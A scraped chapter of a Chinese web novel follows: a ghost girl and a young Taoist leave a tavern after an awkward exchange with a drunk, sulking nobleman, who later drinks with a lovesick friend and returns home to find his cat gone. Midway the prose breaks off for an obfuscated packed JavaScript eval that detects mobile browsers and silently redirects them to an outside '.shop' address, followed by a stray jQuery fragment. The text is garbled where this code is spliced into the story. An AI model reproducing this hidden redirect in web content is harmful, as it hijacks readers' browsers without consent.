铁锤就这般保持着那撅嘴伸头的可笑姿势与周延玉四目相对,空气似乎凝滞了一秒,想是举累了玄尘抬了抬酒杯问她:“你还喝不喝?”

    铁锤慢慢坐直身子:“不喝了。”

    玄尘“哦”了一声放下酒杯又执起筷子问:“那还吃鱼丸吗?”

    铁锤道:“不吃了,我饱了。”

    玄尘显然是个没眼力见的,也不管这里多了个人需不需要寒暄客套一番,一听解放了立即丢了筷子高兴道:“那吃完了我们走吧!”

    周延玉自坐下后便没说话,目光淡淡扫过桌上的酒盏,铁锤还来不及回答,已听周延玉轻笑一声:“看来我来得不巧,你们这便要走了?”

    玄尘并未听出别的意思一心想要离开,点点头很是诚恳:“我们可还有事要做呢。”

    铁锤不知为何心里莫名浮上点心虚来,想来是走前说好帮玄尘寻人做正经事,结果转头二人便在酒楼胡吃海喝很是阔绰逍遥,颇有些扯谎的苗头。

    不过铁锤更意外在这遇见他,想周延玉一向不怎么出门,依他的性子应也不会主动来这种人多繁杂的地方,不知为何会出现在这里,面上还浮起一抹异样的红晕,似是饮了酒。

    铁锤虽不懂医但也知大病初愈不宜饮酒,更不消说他还喝成这般,她好不容易将他从梦中捞出来若是喝伤了怎得了,一时抢了话:“你吃酒了?就你一人?墨生可随你出来?”

    周延玉拿过只酒杯:“自是我一人,不及你们相伴作乐。”

    铁锤不明白他说这话什么意思,似在怪他们饮酒作乐不做正事欺瞒于他,忙忙解释:“我们没有作乐啊,只是在吃饭。”

    周延玉慢慢笑了一下:“原是在吃饭。”

    铁锤不懂他此为哪般,他像是不高兴又像只是随口一说,但这有什么好不高兴的,即便她是鬼偶尔也会嘴馋想吃饭啊,更何况白得的饭不吃白不吃。

    但看周延玉脸色似不好,铁锤想他大抵是误解了什么便道:“我们原是在寻人的只因那老道……”说至此忽听身旁玄尘用力哼了一声,铁锤偏头便见他横眉竖眼很是不满,想他是不愿自己犯蠢被骗的事让旁人知晓,有损他的脸面,话一顿,硬是拐了个弯,“啊,总之这顿饭是白捡的,我们怕糟蹋了美食便商量将它解决了哈哈。”

    话落只见周延玉目光在他二人身上一顿,似有了悟道:“哦?天下竟有如此好事。”

    铁锤以为他真的信了她的这通胡扯,暗自松了一口气刚要点头说对呀对呀,便听他不咸不淡地补了句:“白来的饭也敢吃,不怕菜里有毒?”

    铁锤:“……”

    酒楼生意好,人一多空气便不太流通,他们这处位置又不好,人走人来带起些末风尘与热汗,闷臭难言。

    铁锤自是不受其干扰,玄尘却是闷得快要受不了了,此时吃饱了更似有火燎屁股如何也坐不住了,见他们菜来菜去的聊得没完没了,只觉头大的很,急急插嘴:“你们聊完没,聊完我们快些走吧。”

    饭吃完了确实也该走了,玄尘性子急已先行一步踏出门外。

    铁锤落在后头,慢吞吞飘起来,忍不住再看一眼周延玉,见他闷不做声低着头目光定在手中那空杯上久久不动,唇线紧绷着,面上的红晕已退了些许,透出些病弱的苍白来,不知为何瞧着有些许可怜。

    铁锤虽不甚明白,但观周延玉今日反常举动,想他情绪一向不会如此外露,应是为了些什么,于是凑近了问他:“你是在生气吗?”

    周延玉握着酒盏的手一顿:“我为何要生气?”

    铁锤摇头:“我不知道,但总觉得你像是在生气,所以才要问你。”

    周延玉指腹摩挲过杯沿:“生气如何?没生气又如何?”

    生气要如何?

    铁锤一时只能想起从前闲时看街上那些妇人拿糖来哄使性子闹脾气的小孩们。

    周延玉这个年岁买糖哄他自是不行,那便只剩哄一哄了。

    铁锤诚实答:“你若生气了我便哄一哄,你若没气我便走了。”

    周延玉抿着唇没说话。

    铁锤等了等,见他没有要开口的意思,但眉目间似有松动好似没在生气了,一时又觉稀奇,原来哄一哄这招这么厉害,只需说出这三字便能生效,连具体的话也不消说。

    此时玄尘在门外朝她招手示意她快些,铁锤朝他摇摇头又点点桌子示意自己还需再说几句,却听周延玉忽然道:“你也拿这话哄过他?”

    “他?你说玄尘?”铁锤不知道他突然提起玄尘做什么。她同玄尘相处甚短,没有闹到需哄他的地步,再则玄尘那不着调的模样怎么也是他惹她生气要哄她才是。

    但此时玄尘正在门外,不好在人家眼皮子底下说坏话,保不齐被他听见了要闹,便道,“玄尘虽说平日里是有些孩子气,但他从来都是有什么说什么不会将话憋在心里,很好沟通的。”

    话罢见周延玉又沉默下来,铁锤观街上夜色浓郁多有寒风,好心劝道:“夜里风大你也该回去了。”

    周延玉搁下手中酒盏,语气很是冰冷漠然:“我不是孩童无需你哄。”

    铁锤有点懵,不知道好端端的他怎么突然变了脸,这是又气着了还是没气?是需哄还是不需哄?

    努力回想了一番方才自己哪句话说的不对,回想半天想起他那句话来,难道是她劝他回家的口气听在他耳中像阿娘喊孩子回家吃饭的语气,让他觉着自己被当小孩子哄,生气了?

    此时玄尘早已在门外等得不耐烦,脚踩门槛大声催促:“到底走不走啊!”

    这一声吼引得楼中众人皆回头望之。

    铁锤真怕玄尘被人当疯子吊起来打,回头见周延玉一副不愿交谈的模样,想他现下酒也醒了自己应当能照顾好自己,拧着眉想了想,不好再劝他回去只好顺着他,换了副口吻欢快道:“你若不愿回那便多玩会儿吧,我先走啦!”

    未等他开口,余光里只见那抹松花色掠过他手边,一阵凉风过,原地已无人。

    周延玉定在原地久未抬头,铁锤声音响亮,哪怕不去刻意听也能听个一清二楚,遥遥听她气骂:“你吼那么大声要怎样!生怕旁人不知道你身边跟着个小鬼啊!”

    玄尘立即反驳:“还不是你拖拉!”

    铁锤更是生气:“早前你在茅厕憋了半晌我还未说你,我不过说这几句的时辰你都等不了?”

    玄尘恼羞成怒:“等不了!”话一卡,玄尘突得发出怪叫,“喂不准咬我!玄小小!”

    争执声渐消于碧色酒水落于杯盏中的声音,周延玉一口饮尽杯中酒,许久再无动作。

    江平瑞出去一趟回来没将愁

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17895149|212838||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    苦浇灭反倒更消沉了。

    与温雅分别后,因想着周延玉还在万香楼等着自己,拖着步子欲爬楼回雅间时,冷不丁瞥见坐在楼梯酒桌旁脸色灰败的周延玉,险些吓一跳:“你怎么跑这来了?”

    周延玉握着酒盏不说话。

    江平瑞知他性子便没强求,索性也坐下来提起酒壶斟满酒,喝一口叹一口,直叹到一杯酒饮尽,好半晌,悲愁道:“若一名女子从未在你面前在意过样貌,是不是就说明此人对你无意?”

    周延玉看他一眼:“你遇着温雅了?”

    “嗯。”江平瑞盯着酒盏里的一点残酒,“她变了许多,与我记忆中的女子有些不一样了。”

    周延玉神色淡淡:“她若变了你便不喜了?”

    “怎会!”江平瑞当即反驳,好一会儿,声音慢慢低下来,“我只是觉着好似帮不到她什么,略感无力罢了。”

    时已过晚,万香楼内客人渐少,只剩几桌吃酒之人还不曾散去,浓郁酒香溢满鼻间,叫人未饮已有三分醉。

    周延玉盯着杯中那略略摇晃的碧色酒水,声似叹息:“她漂泊多年,不知独自历了多少事,行了多少路,若非如此怎能站于你眼前,又何须事事要你帮忙。”

    一番话说尽,周延玉沉默下来,似想起什么蹙起眉陷入沉思。

    江平瑞倒是被他这席话开解不少,摇了摇酒盏笑起来:“你说得对,她从小便很有主见想做什么便做什么,谁人也拦不住,倒是我自诩潇洒随性却困于方寸之地,没她那般洒脱自由,但正是因她如此我才心悦于她,从前见不着她时只盼着她偶尔回来京中的那一两日能见上她一面,再说些无关紧要的话便很是欣喜,现下她不走了我倒是想得更多了,想要与她更亲近一些,想要她依靠我,还想要日日见着她。”

    江平瑞一叹:“仔细想想,反倒是所求不多时过得更开心。”

    周延玉执酒声喃喃:“所求不过一面?”

    江平瑞闷头又给自己斟了一杯,闻言瞥他一眼,这才发现他眉目间不知何时含了点愁苦,晃晃脑袋再看竟没瞧错,凑近纳闷道:“莫不是我醉了,你怎的一副很是伤情的模样?难不成我走的这段时辰你竟瞧上了哪家姑娘?”

    周延玉面不改色拨开他的脸:“你醉了。”

    “我醉了吗?”江平瑞见他语气肯定也有些不确定起来,“可我才喝不过三杯啊,怎会醉得这么快?”

    周延玉不答,只不声不响给他斟酒,江平瑞握着酒盏突得大叫:“诶诶诶满出来了,满出来了!”

    酒过三巡,他两人其实已无甚好说,酒吃起来也没甚滋味,枯坐一阵见天色着实已晚,在此苦留也只是折磨自己便各自上了马车回了府。

    到得芝兰院由墨生张罗着沐了浴,周延玉让墨生退下独自进了内室。

    冷月幽光,软床温暖,正是入寝的好时辰,周延玉原想就此歇息,宽衣解带时忽又想起什么,拿过盏灯烛沿着屋子内外慢慢走过一遍。

    黑茫茫的夜里偶听几声蛙鸣伴着寒风穿堂之声,袖袍被风吹得鼓胀,脚下只得半圈烛光,未有半点猫儿的影子。

    周延玉便知它又跑了。

    他提灯静站了会儿,转身慢慢回了屋。

    许久,湿润的风中似听得一声低叹,而后最后一点亮光也灭了,再无声息。